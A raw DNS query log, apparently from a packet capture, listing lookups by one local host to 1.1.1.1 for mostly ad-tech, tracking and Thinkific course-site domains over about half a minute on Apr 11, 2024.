Apr 11, 2024 23:27:07.992234945 CEST	192.168.2.17	1.1.1.1	0x5e0	Standard query (0)	gocm.c.appier.net	65	IN (0x0001)	false
Apr 11, 2024 23:27:07.992713928 CEST	192.168.2.17	1.1.1.1	0x8619	Standard query (0)	core.iprom.net	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:07.993040085 CEST	192.168.2.17	1.1.1.1	0x5c3a	Standard query (0)	core.iprom.net	65	IN (0x0001)	false
Apr 11, 2024 23:27:07.993633032 CEST	192.168.2.17	1.1.1.1	0x9fd4	Standard query (0)	cs.iqzone.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:07.993782043 CEST	192.168.2.17	1.1.1.1	0x293a	Standard query (0)	cs.iqzone.com	65	IN (0x0001)	false
Apr 11, 2024 23:27:07.998665094 CEST	192.168.2.17	1.1.1.1	0x9a8f	Standard query (0)	ipac.ctnsnet.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:07.998871088 CEST	192.168.2.17	1.1.1.1	0xaafb	Standard query (0)	ipac.ctnsnet.com	65	IN (0x0001)	false
Apr 11, 2024 23:27:07.999918938 CEST	192.168.2.17	1.1.1.1	0xca29	Standard query (0)	matching.truffle.bid	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:08.000483990 CEST	192.168.2.17	1.1.1.1	0x5494	Standard query (0)	matching.truffle.bid	65	IN (0x0001)	false
Apr 11, 2024 23:27:08.008061886 CEST	192.168.2.17	1.1.1.1	0xe0ce	Standard query (0)	px.owneriq.net	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:08.008213997 CEST	192.168.2.17	1.1.1.1	0xd9f1	Standard query (0)	px.owneriq.net	65	IN (0x0001)	false
Apr 11, 2024 23:27:08.021300077 CEST	192.168.2.17	1.1.1.1	0xedb	Standard query (0)	synchroscript.deliveryengine.adswizz.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:08.021692038 CEST	192.168.2.17	1.1.1.1	0xf87	Standard query (0)	synchroscript.deliveryengine.adswizz.com	65	IN (0x0001)	false
Apr 11, 2024 23:27:08.022443056 CEST	192.168.2.17	1.1.1.1	0xb937	Standard query (0)	idsync.rlcdn.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:08.022895098 CEST	192.168.2.17	1.1.1.1	0x7251	Standard query (0)	idsync.rlcdn.com	65	IN (0x0001)	false
Apr 11, 2024 23:27:08.023848057 CEST	192.168.2.17	1.1.1.1	0x537a	Standard query (0)	bcp.crwdcntrl.net	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:08.024065971 CEST	192.168.2.17	1.1.1.1	0xecc0	Standard query (0)	bcp.crwdcntrl.net	65	IN (0x0001)	false
Apr 11, 2024 23:27:08.030847073 CEST	192.168.2.17	1.1.1.1	0x5cd1	Standard query (0)	match.adsby.bidtheatre.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:08.031049013 CEST	192.168.2.17	1.1.1.1	0x70be	Standard query (0)	match.adsby.bidtheatre.com	65	IN (0x0001)	false
Apr 11, 2024 23:27:08.647455931 CEST	192.168.2.17	1.1.1.1	0x1d5c	Standard query (0)	aa.agkn.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:08.647736073 CEST	192.168.2.17	1.1.1.1	0x2996	Standard query (0)	aa.agkn.com	65	IN (0x0001)	false
Apr 11, 2024 23:27:08.648078918 CEST	192.168.2.17	1.1.1.1	0xc8c7	Standard query (0)	bpi.rtactivate.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:08.648211002 CEST	192.168.2.17	1.1.1.1	0xa1f6	Standard query (0)	bpi.rtactivate.com	65	IN (0x0001)	false
Apr 11, 2024 23:27:08.648777962 CEST	192.168.2.17	1.1.1.1	0x3e81	Standard query (0)	stags.bluekai.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:08.648905993 CEST	192.168.2.17	1.1.1.1	0x713	Standard query (0)	stags.bluekai.com	65	IN (0x0001)	false
Apr 11, 2024 23:27:08.649441004 CEST	192.168.2.17	1.1.1.1	0x5b83	Standard query (0)	idpix.media6degrees.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:08.649564981 CEST	192.168.2.17	1.1.1.1	0xea81	Standard query (0)	idpix.media6degrees.com	65	IN (0x0001)	false
Apr 11, 2024 23:27:08.662832022 CEST	192.168.2.17	1.1.1.1	0x1a70	Standard query (0)	pdmp.papi-public.us-east-1.tagger.opecloud.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:08.662985086 CEST	192.168.2.17	1.1.1.1	0x4d31	Standard query (0)	pdmp.papi-public.us-east-1.tagger.opecloud.com	65	IN (0x0001)	false
Apr 11, 2024 23:27:08.721812963 CEST	192.168.2.17	1.1.1.1	0xd86	Standard query (0)	s0.2mdn.net	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:08.721982002 CEST	192.168.2.17	1.1.1.1	0x66e9	Standard query (0)	s0.2mdn.net	65	IN (0x0001)	false
Apr 11, 2024 23:27:09.279890060 CEST	192.168.2.17	1.1.1.1	0xef25	Standard query (0)	match.sharethrough.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:09.280030012 CEST	192.168.2.17	1.1.1.1	0x6ca8	Standard query (0)	match.sharethrough.com	65	IN (0x0001)	false
Apr 11, 2024 23:27:09.531625032 CEST	192.168.2.17	1.1.1.1	0x5305	Standard query (0)	feed.pghub.io	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:09.531811953 CEST	192.168.2.17	1.1.1.1	0xb4ae	Standard query (0)	feed.pghub.io	65	IN (0x0001)	false
Apr 11, 2024 23:27:09.587703943 CEST	192.168.2.17	1.1.1.1	0x3f7a	Standard query (0)	i.liadm.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:09.587889910 CEST	192.168.2.17	1.1.1.1	0x7d3f	Standard query (0)	i.liadm.com	65	IN (0x0001)	false
Apr 11, 2024 23:27:09.588803053 CEST	192.168.2.17	1.1.1.1	0xe9bf	Standard query (0)	io.narrative.io	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:09.588984966 CEST	192.168.2.17	1.1.1.1	0x733	Standard query (0)	io.narrative.io	65	IN (0x0001)	false
Apr 11, 2024 23:27:09.606332064 CEST	192.168.2.17	1.1.1.1	0xce13	Standard query (0)	synchroscript.deliveryengine.adswizz.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:09.606504917 CEST	192.168.2.17	1.1.1.1	0x70d0	Standard query (0)	synchroscript.deliveryengine.adswizz.com	65	IN (0x0001)	false
Apr 11, 2024 23:27:09.740345955 CEST	192.168.2.17	1.1.1.1	0x2e21	Standard query (0)	aa.agkn.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:09.740483046 CEST	192.168.2.17	1.1.1.1	0xa05f	Standard query (0)	aa.agkn.com	65	IN (0x0001)	false
Apr 11, 2024 23:27:10.123229027 CEST	192.168.2.17	1.1.1.1	0x701	Standard query (0)	bcp.crwdcntrl.net	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:10.123446941 CEST	192.168.2.17	1.1.1.1	0x29e3	Standard query (0)	bcp.crwdcntrl.net	65	IN (0x0001)	false
Apr 11, 2024 23:27:10.172235966 CEST	192.168.2.17	1.1.1.1	0x9ef2	Standard query (0)	s.tribalfusion.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:10.172489882 CEST	192.168.2.17	1.1.1.1	0x1216	Standard query (0)	s.tribalfusion.com	65	IN (0x0001)	false
Apr 11, 2024 23:27:10.218508959 CEST	192.168.2.17	1.1.1.1	0x43ab	Standard query (0)	sync.intentiq.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:10.218671083 CEST	192.168.2.17	1.1.1.1	0x8107	Standard query (0)	sync.intentiq.com	65	IN (0x0001)	false
Apr 11, 2024 23:27:10.623754025 CEST	192.168.2.17	1.1.1.1	0xf61	Standard query (0)	id.rlcdn.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:10.623910904 CEST	192.168.2.17	1.1.1.1	0x2a1b	Standard query (0)	id.rlcdn.com	65	IN (0x0001)	false
Apr 11, 2024 23:27:10.625313997 CEST	192.168.2.17	1.1.1.1	0x4155	Standard query (0)	pmp.mxptint.net	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:10.625452995 CEST	192.168.2.17	1.1.1.1	0x2efa	Standard query (0)	pmp.mxptint.net	65	IN (0x0001)	false
Apr 11, 2024 23:27:10.626369953 CEST	192.168.2.17	1.1.1.1	0x8b0f	Standard query (0)	capi.connatix.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:10.626538038 CEST	192.168.2.17	1.1.1.1	0x6ec7	Standard query (0)	capi.connatix.com	65	IN (0x0001)	false
Apr 11, 2024 23:27:10.629091978 CEST	192.168.2.17	1.1.1.1	0x8861	Standard query (0)	bpi.rtactivate.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:10.629265070 CEST	192.168.2.17	1.1.1.1	0x3b88	Standard query (0)	bpi.rtactivate.com	65	IN (0x0001)	false
Apr 11, 2024 23:27:10.654978037 CEST	192.168.2.17	1.1.1.1	0xca62	Standard query (0)	sync.targeting.unrulymedia.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:10.655103922 CEST	192.168.2.17	1.1.1.1	0x7612	Standard query (0)	sync.targeting.unrulymedia.com	65	IN (0x0001)	false
Apr 11, 2024 23:27:10.777168989 CEST	192.168.2.17	1.1.1.1	0xcbb0	Standard query (0)	sync.crwdcntrl.net	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:10.777309895 CEST	192.168.2.17	1.1.1.1	0xc797	Standard query (0)	sync.crwdcntrl.net	65	IN (0x0001)	false
Apr 11, 2024 23:27:10.777878046 CEST	192.168.2.17	1.1.1.1	0xe80a	Standard query (0)	stags.bluekai.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:10.778001070 CEST	192.168.2.17	1.1.1.1	0x87f2	Standard query (0)	stags.bluekai.com	65	IN (0x0001)	false
Apr 11, 2024 23:27:11.146387100 CEST	192.168.2.17	1.1.1.1	0x3937	Standard query (0)	sync-dmp.mobtrakk.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:11.146704912 CEST	192.168.2.17	1.1.1.1	0x6b35	Standard query (0)	sync-dmp.mobtrakk.com	65	IN (0x0001)	false
Apr 11, 2024 23:27:11.387499094 CEST	192.168.2.17	1.1.1.1	0x96fe	Standard query (0)	idsync.rlcdn.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:11.387662888 CEST	192.168.2.17	1.1.1.1	0xd2a9	Standard query (0)	idsync.rlcdn.com	65	IN (0x0001)	false
Apr 11, 2024 23:27:11.454395056 CEST	192.168.2.17	1.1.1.1	0xbe0	Standard query (0)	rtb.openx.net	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:11.454561949 CEST	192.168.2.17	1.1.1.1	0x3063	Standard query (0)	rtb.openx.net	65	IN (0x0001)	false
Apr 11, 2024 23:27:11.534238100 CEST	192.168.2.17	1.1.1.1	0xd928	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:11.534434080 CEST	192.168.2.17	1.1.1.1	0x26ed	Standard query (0)	www.google.com	65	IN (0x0001)	false
Apr 11, 2024 23:27:11.734031916 CEST	192.168.2.17	1.1.1.1	0x9dce	Standard query (0)	server.cpmstar.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:11.734184027 CEST	192.168.2.17	1.1.1.1	0x9762	Standard query (0)	server.cpmstar.com	65	IN (0x0001)	false
Apr 11, 2024 23:27:11.737646103 CEST	192.168.2.17	1.1.1.1	0x5a41	Standard query (0)	securepubads.g.doubleclick.net	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:11.737788916 CEST	192.168.2.17	1.1.1.1	0xdd14	Standard query (0)	securepubads.g.doubleclick.net	65	IN (0x0001)	false
Apr 11, 2024 23:27:11.763087034 CEST	192.168.2.17	1.1.1.1	0x5f21	Standard query (0)	cdn.ampproject.org	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:11.763263941 CEST	192.168.2.17	1.1.1.1	0xe0d4	Standard query (0)	cdn.ampproject.org	65	IN (0x0001)	false
Apr 11, 2024 23:27:11.904989958 CEST	192.168.2.17	1.1.1.1	0x748b	Standard query (0)	live.rezync.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:11.905138969 CEST	192.168.2.17	1.1.1.1	0x9a0f	Standard query (0)	live.rezync.com	65	IN (0x0001)	false
Apr 11, 2024 23:27:11.972054958 CEST	192.168.2.17	1.1.1.1	0x13d9	Standard query (0)	sync2.resetdigital.co	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:11.972197056 CEST	192.168.2.17	1.1.1.1	0x822b	Standard query (0)	sync2.resetdigital.co	65	IN (0x0001)	false
Apr 11, 2024 23:27:12.366027117 CEST	192.168.2.17	1.1.1.1	0x3015	Standard query (0)	pandg.tapad.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:12.366488934 CEST	192.168.2.17	1.1.1.1	0x1b12	Standard query (0)	pandg.tapad.com	65	IN (0x0001)	false
Apr 11, 2024 23:27:13.547416925 CEST	192.168.2.17	1.1.1.1	0xad71	Standard query (0)	earnandexcel.thinkific.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:13.547821045 CEST	192.168.2.17	1.1.1.1	0xac2e	Standard query (0)	earnandexcel.thinkific.com	65	IN (0x0001)	false
Apr 11, 2024 23:27:13.832463026 CEST	192.168.2.17	1.1.1.1	0xb89e	Standard query (0)	d.turn.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:13.832624912 CEST	192.168.2.17	1.1.1.1	0x4abc	Standard query (0)	d.turn.com	65	IN (0x0001)	false
Apr 11, 2024 23:27:14.281864882 CEST	192.168.2.17	1.1.1.1	0x217	Standard query (0)	sync.srv.stackadapt.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:14.282031059 CEST	192.168.2.17	1.1.1.1	0xdb28	Standard query (0)	sync.srv.stackadapt.com	65	IN (0x0001)	false
Apr 11, 2024 23:27:14.492655039 CEST	192.168.2.17	1.1.1.1	0xd3dd	Standard query (0)	rtb-csync.smartadserver.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:14.492810011 CEST	192.168.2.17	1.1.1.1	0xd9a6	Standard query (0)	rtb-csync.smartadserver.com	65	IN (0x0001)	false
Apr 11, 2024 23:27:14.529010057 CEST	192.168.2.17	1.1.1.1	0x8fa7	Standard query (0)	s0.2mdn.net	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:14.529170036 CEST	192.168.2.17	1.1.1.1	0x341f	Standard query (0)	s0.2mdn.net	65	IN (0x0001)	false
Apr 11, 2024 23:27:15.443336010 CEST	192.168.2.17	1.1.1.1	0x9812	Standard query (0)	assets.thinkific.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:15.443526983 CEST	192.168.2.17	1.1.1.1	0xb86	Standard query (0)	assets.thinkific.com	65	IN (0x0001)	false
Apr 11, 2024 23:27:15.443892956 CEST	192.168.2.17	1.1.1.1	0x8f1d	Standard query (0)	cdn.thinkific.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:15.444034100 CEST	192.168.2.17	1.1.1.1	0x2284	Standard query (0)	cdn.thinkific.com	65	IN (0x0001)	false
Apr 11, 2024 23:27:15.449115992 CEST	192.168.2.17	1.1.1.1	0x7bca	Standard query (0)	cdnjs.cloudflare.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:15.449251890 CEST	192.168.2.17	1.1.1.1	0x5d51	Standard query (0)	cdnjs.cloudflare.com	65	IN (0x0001)	false
Apr 11, 2024 23:27:15.451417923 CEST	192.168.2.17	1.1.1.1	0xd8df	Standard query (0)	csm.us5.us.criteo.net	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:15.451581955 CEST	192.168.2.17	1.1.1.1	0xdcad	Standard query (0)	csm.us5.us.criteo.net	65	IN (0x0001)	false
Apr 11, 2024 23:27:15.454544067 CEST	192.168.2.17	1.1.1.1	0x6ecd	Standard query (0)	cdn-themes.thinkific.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:15.454684973 CEST	192.168.2.17	1.1.1.1	0x2f50	Standard query (0)	cdn-themes.thinkific.com	65	IN (0x0001)	false
Apr 11, 2024 23:27:16.199568987 CEST	192.168.2.17	1.1.1.1	0xc1cc	Standard query (0)	fast.wistia.net	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:16.199702978 CEST	192.168.2.17	1.1.1.1	0x4ae0	Standard query (0)	fast.wistia.net	65	IN (0x0001)	false
Apr 11, 2024 23:27:16.267255068 CEST	192.168.2.17	1.1.1.1	0xd57d	Standard query (0)	a.deadlinefunnel.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:16.267426014 CEST	192.168.2.17	1.1.1.1	0x18ae	Standard query (0)	a.deadlinefunnel.com	65	IN (0x0001)	false
Apr 11, 2024 23:27:16.311481953 CEST	192.168.2.17	1.1.1.1	0x6650	Standard query (0)	import.cdn.thinkific.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:16.311635017 CEST	192.168.2.17	1.1.1.1	0x9687	Standard query (0)	import.cdn.thinkific.com	65	IN (0x0001)	false
Apr 11, 2024 23:27:17.207387924 CEST	192.168.2.17	1.1.1.1	0xcc55	Standard query (0)	c.deadlinefunnel.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:17.218077898 CEST	192.168.2.17	1.1.1.1	0xbf0c	Standard query (0)	c.deadlinefunnel.com	65	IN (0x0001)	false
Apr 11, 2024 23:27:17.266134024 CEST	192.168.2.17	1.1.1.1	0x60f8	Standard query (0)	earnandexcel.thinkific.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:17.266300917 CEST	192.168.2.17	1.1.1.1	0xffca	Standard query (0)	earnandexcel.thinkific.com	65	IN (0x0001)	false
Apr 11, 2024 23:27:17.280483007 CEST	192.168.2.17	1.1.1.1	0xf579	Standard query (0)	stats.g.doubleclick.net	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:17.280658960 CEST	192.168.2.17	1.1.1.1	0xf83b	Standard query (0)	stats.g.doubleclick.net	65	IN (0x0001)	false
Apr 11, 2024 23:27:17.322288990 CEST	192.168.2.17	1.1.1.1	0x933a	Standard query (0)	import.cdn.thinkific.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:17.322454929 CEST	192.168.2.17	1.1.1.1	0xcbdd	Standard query (0)	import.cdn.thinkific.com	65	IN (0x0001)	false
Apr 11, 2024 23:27:17.747270107 CEST	192.168.2.17	1.1.1.1	0x4f3d	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:17.747479916 CEST	192.168.2.17	1.1.1.1	0xc208	Standard query (0)	www.google.com	65	IN (0x0001)	false
Apr 11, 2024 23:27:17.891613007 CEST	192.168.2.17	1.1.1.1	0xdcf3	Standard query (0)	c.deadlinefunnel.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:17.891753912 CEST	192.168.2.17	1.1.1.1	0x2c0	Standard query (0)	c.deadlinefunnel.com	65	IN (0x0001)	false
Apr 11, 2024 23:27:25.403306007 CEST	192.168.2.17	1.1.1.1	0x7901	Standard query (0)	bam.nr-data.net	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:25.403467894 CEST	192.168.2.17	1.1.1.1	0x8e3b	Standard query (0)	bam.nr-data.net	65	IN (0x0001)	false
Apr 11, 2024 23:27:26.792337894 CEST	192.168.2.17	1.1.1.1	0x632e	Standard query (0)	tlx.3lift.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:26.792471886 CEST	192.168.2.17	1.1.1.1	0x1ed2	Standard query (0)	tlx.3lift.com	65	IN (0x0001)	false
Apr 11, 2024 23:27:27.017465115 CEST	192.168.2.17	1.1.1.1	0x9e95	Standard query (0)	oxp.mxptint.net	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:27.017601967 CEST	192.168.2.17	1.1.1.1	0xe2b9	Standard query (0)	oxp.mxptint.net	65	IN (0x0001)	false
Apr 11, 2024 23:27:27.017884970 CEST	192.168.2.17	1.1.1.1	0x63ce	Standard query (0)	i.w55c.net	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:27.018013000 CEST	192.168.2.17	1.1.1.1	0xf6d5	Standard query (0)	i.w55c.net	65	IN (0x0001)	false
Apr 11, 2024 23:27:27.100080967 CEST	192.168.2.17	1.1.1.1	0x909a	Standard query (0)	pr-bh.ybp.yahoo.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:27.100334883 CEST	192.168.2.17	1.1.1.1	0xf20c	Standard query (0)	pr-bh.ybp.yahoo.com	65	IN (0x0001)	false
Apr 11, 2024 23:27:27.594836950 CEST	192.168.2.17	1.1.1.1	0x990	Standard query (0)	eu-u.openx.net	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:27.594991922 CEST	192.168.2.17	1.1.1.1	0x5a3c	Standard query (0)	eu-u.openx.net	65	IN (0x0001)	false
Apr 11, 2024 23:27:27.660912991 CEST	192.168.2.17	1.1.1.1	0xf6b3	Standard query (0)	contextual.media.net	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:27.661077023 CEST	192.168.2.17	1.1.1.1	0xb1e3	Standard query (0)	contextual.media.net	65	IN (0x0001)	false
Apr 11, 2024 23:27:28.072391033 CEST	192.168.2.17	1.1.1.1	0xc832	Standard query (0)	eu-u.openx.net	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:28.072530031 CEST	192.168.2.17	1.1.1.1	0x622e	Standard query (0)	eu-u.openx.net	65	IN (0x0001)	false
Apr 11, 2024 23:27:28.496062994 CEST	192.168.2.17	1.1.1.1	0xba47	Standard query (0)	sync.targeting.unrulymedia.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:28.496227026 CEST	192.168.2.17	1.1.1.1	0xf9da	Standard query (0)	sync.targeting.unrulymedia.com	65	IN (0x0001)	false
Apr 11, 2024 23:27:29.559612989 CEST	192.168.2.17	1.1.1.1	0xc167	Standard query (0)	bid.g.doubleclick.net	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:29.559777021 CEST	192.168.2.17	1.1.1.1	0xa0a6	Standard query (0)	bid.g.doubleclick.net	65	IN (0x0001)	false
Apr 11, 2024 23:27:30.173518896 CEST	192.168.2.17	1.1.1.1	0x7d41	Standard query (0)	bid.g.doubleclick.net	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:30.173692942 CEST	192.168.2.17	1.1.1.1	0xf27a	Standard query (0)	bid.g.doubleclick.net	65	IN (0x0001)	false
Apr 11, 2024 23:27:30.180867910 CEST	192.168.2.17	1.1.1.1	0xbfb9	Standard query (0)	ad.doubleclick.net	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:30.181039095 CEST	192.168.2.17	1.1.1.1	0x54a	Standard query (0)	ad.doubleclick.net	65	IN (0x0001)	false
Apr 11, 2024 23:27:30.649112940 CEST	192.168.2.17	1.1.1.1	0x8dd8	Standard query (0)	odr.mookie1.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:30.649255037 CEST	192.168.2.17	1.1.1.1	0xc7ba	Standard query (0)	odr.mookie1.com	65	IN (0x0001)	false
Apr 11, 2024 23:27:31.100382090 CEST	192.168.2.17	1.1.1.1	0x1bfa	Standard query (0)	ad.doubleclick.net	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:31.100584030 CEST	192.168.2.17	1.1.1.1	0xbeec	Standard query (0)	ad.doubleclick.net	65	IN (0x0001)	false
Apr 11, 2024 23:27:31.135766983 CEST	192.168.2.17	1.1.1.1	0x89de	Standard query (0)	gcdn.2mdn.net	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:31.135926962 CEST	192.168.2.17	1.1.1.1	0x1e08	Standard query (0)	gcdn.2mdn.net	65	IN (0x0001)	false
Apr 11, 2024 23:27:31.148817062 CEST	192.168.2.17	1.1.1.1	0xb405	Standard query (0)	global.ib-ibi.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:31.148993969 CEST	192.168.2.17	1.1.1.1	0x3564	Standard query (0)	global.ib-ibi.com	65	IN (0x0001)	false
Apr 11, 2024 23:27:35.940165043 CEST	192.168.2.17	1.1.1.1	0xb8fc	Standard query (0)	scripts.mediavine.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:35.940349102 CEST	192.168.2.17	1.1.1.1	0x6942	Standard query (0)	scripts.mediavine.com	65	IN (0x0001)	false
Apr 11, 2024 23:27:37.398638010 CEST	192.168.2.17	1.1.1.1	0x47d2	Standard query (0)	ads.stickyadstv.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:37.398778915 CEST	192.168.2.17	1.1.1.1	0xbc79	Standard query (0)	ads.stickyadstv.com	65	IN (0x0001)	false
Apr 11, 2024 23:27:37.403692961 CEST	192.168.2.17	1.1.1.1	0x57ff	Standard query (0)	dmp.brand-display.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:37.403912067 CEST	192.168.2.17	1.1.1.1	0x4d14	Standard query (0)	dmp.brand-display.com	65	IN (0x0001)	false
Apr 11, 2024 23:27:37.404293060 CEST	192.168.2.17	1.1.1.1	0x6c94	Standard query (0)	match.justpremium.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:37.404445887 CEST	192.168.2.17	1.1.1.1	0xef77	Standard query (0)	match.justpremium.com	65	IN (0x0001)	false
Apr 11, 2024 23:27:37.407219887 CEST	192.168.2.17	1.1.1.1	0x4788	Standard query (0)	openx-ums.acuityplatform.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:37.407412052 CEST	192.168.2.17	1.1.1.1	0xeb02	Standard query (0)	openx-ums.acuityplatform.com	65	IN (0x0001)	false
Apr 11, 2024 23:27:37.408564091 CEST	192.168.2.17	1.1.1.1	0x7851	Standard query (0)	openx.adhaven.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:37.408709049 CEST	192.168.2.17	1.1.1.1	0x4305	Standard query (0)	openx.adhaven.com	65	IN (0x0001)	false
Apr 11, 2024 23:27:37.409037113 CEST	192.168.2.17	1.1.1.1	0x8b1b	Standard query (0)	tr.blismedia.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:37.409157991 CEST	192.168.2.17	1.1.1.1	0x45ed	Standard query (0)	tr.blismedia.com	65	IN (0x0001)	false
Apr 11, 2024 23:27:37.428639889 CEST	192.168.2.17	1.1.1.1	0xd1c2	Standard query (0)	sync.srv.stackadapt.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:37.428781986 CEST	192.168.2.17	1.1.1.1	0x841f	Standard query (0)	sync.srv.stackadapt.com	65	IN (0x0001)	false
Apr 11, 2024 23:27:37.775520086 CEST	192.168.2.17	1.1.1.1	0xc39f	Standard query (0)	openx2-match.dotomi.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:37.775621891 CEST	192.168.2.17	1.1.1.1	0x38	Standard query (0)	openx2-match.dotomi.com	65	IN (0x0001)	false
Apr 11, 2024 23:27:37.864912987 CEST	192.168.2.17	1.1.1.1	0x1850	Standard query (0)	match.justpremium.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:37.865060091 CEST	192.168.2.17	1.1.1.1	0x123d	Standard query (0)	match.justpremium.com	65	IN (0x0001)	false
Apr 11, 2024 23:27:37.928365946 CEST	192.168.2.17	1.1.1.1	0xc492	Standard query (0)	bttrack.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:37.928569078 CEST	192.168.2.17	1.1.1.1	0x2cf4	Standard query (0)	bttrack.com	65	IN (0x0001)	false
Apr 11, 2024 23:27:38.024208069 CEST	192.168.2.17	1.1.1.1	0xbf9	Standard query (0)	hb.yahoo.net	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:38.024350882 CEST	192.168.2.17	1.1.1.1	0xe25	Standard query (0)	hb.yahoo.net	65	IN (0x0001)	false
Apr 11, 2024 23:27:38.025105000 CEST	192.168.2.17	1.1.1.1	0x4b11	Standard query (0)	prebid.a-mo.net	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:38.025234938 CEST	192.168.2.17	1.1.1.1	0x1075	Standard query (0)	prebid.a-mo.net	65	IN (0x0001)	false
Apr 11, 2024 23:27:38.025891066 CEST	192.168.2.17	1.1.1.1	0x66e4	Standard query (0)	s.seedtag.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:38.026015043 CEST	192.168.2.17	1.1.1.1	0x685c	Standard query (0)	s.seedtag.com	65	IN (0x0001)	false
Apr 11, 2024 23:27:38.214684963 CEST	192.168.2.17	1.1.1.1	0x494d	Standard query (0)	vop.sundaysky.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:38.214838028 CEST	192.168.2.17	1.1.1.1	0x9bc5	Standard query (0)	vop.sundaysky.com	65	IN (0x0001)	false
Apr 11, 2024 23:27:38.586925030 CEST	192.168.2.17	1.1.1.1	0x99d3	Standard query (0)	s2s.t13.io	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:38.587080002 CEST	192.168.2.17	1.1.1.1	0xeffc	Standard query (0)	s2s.t13.io	65	IN (0x0001)	false
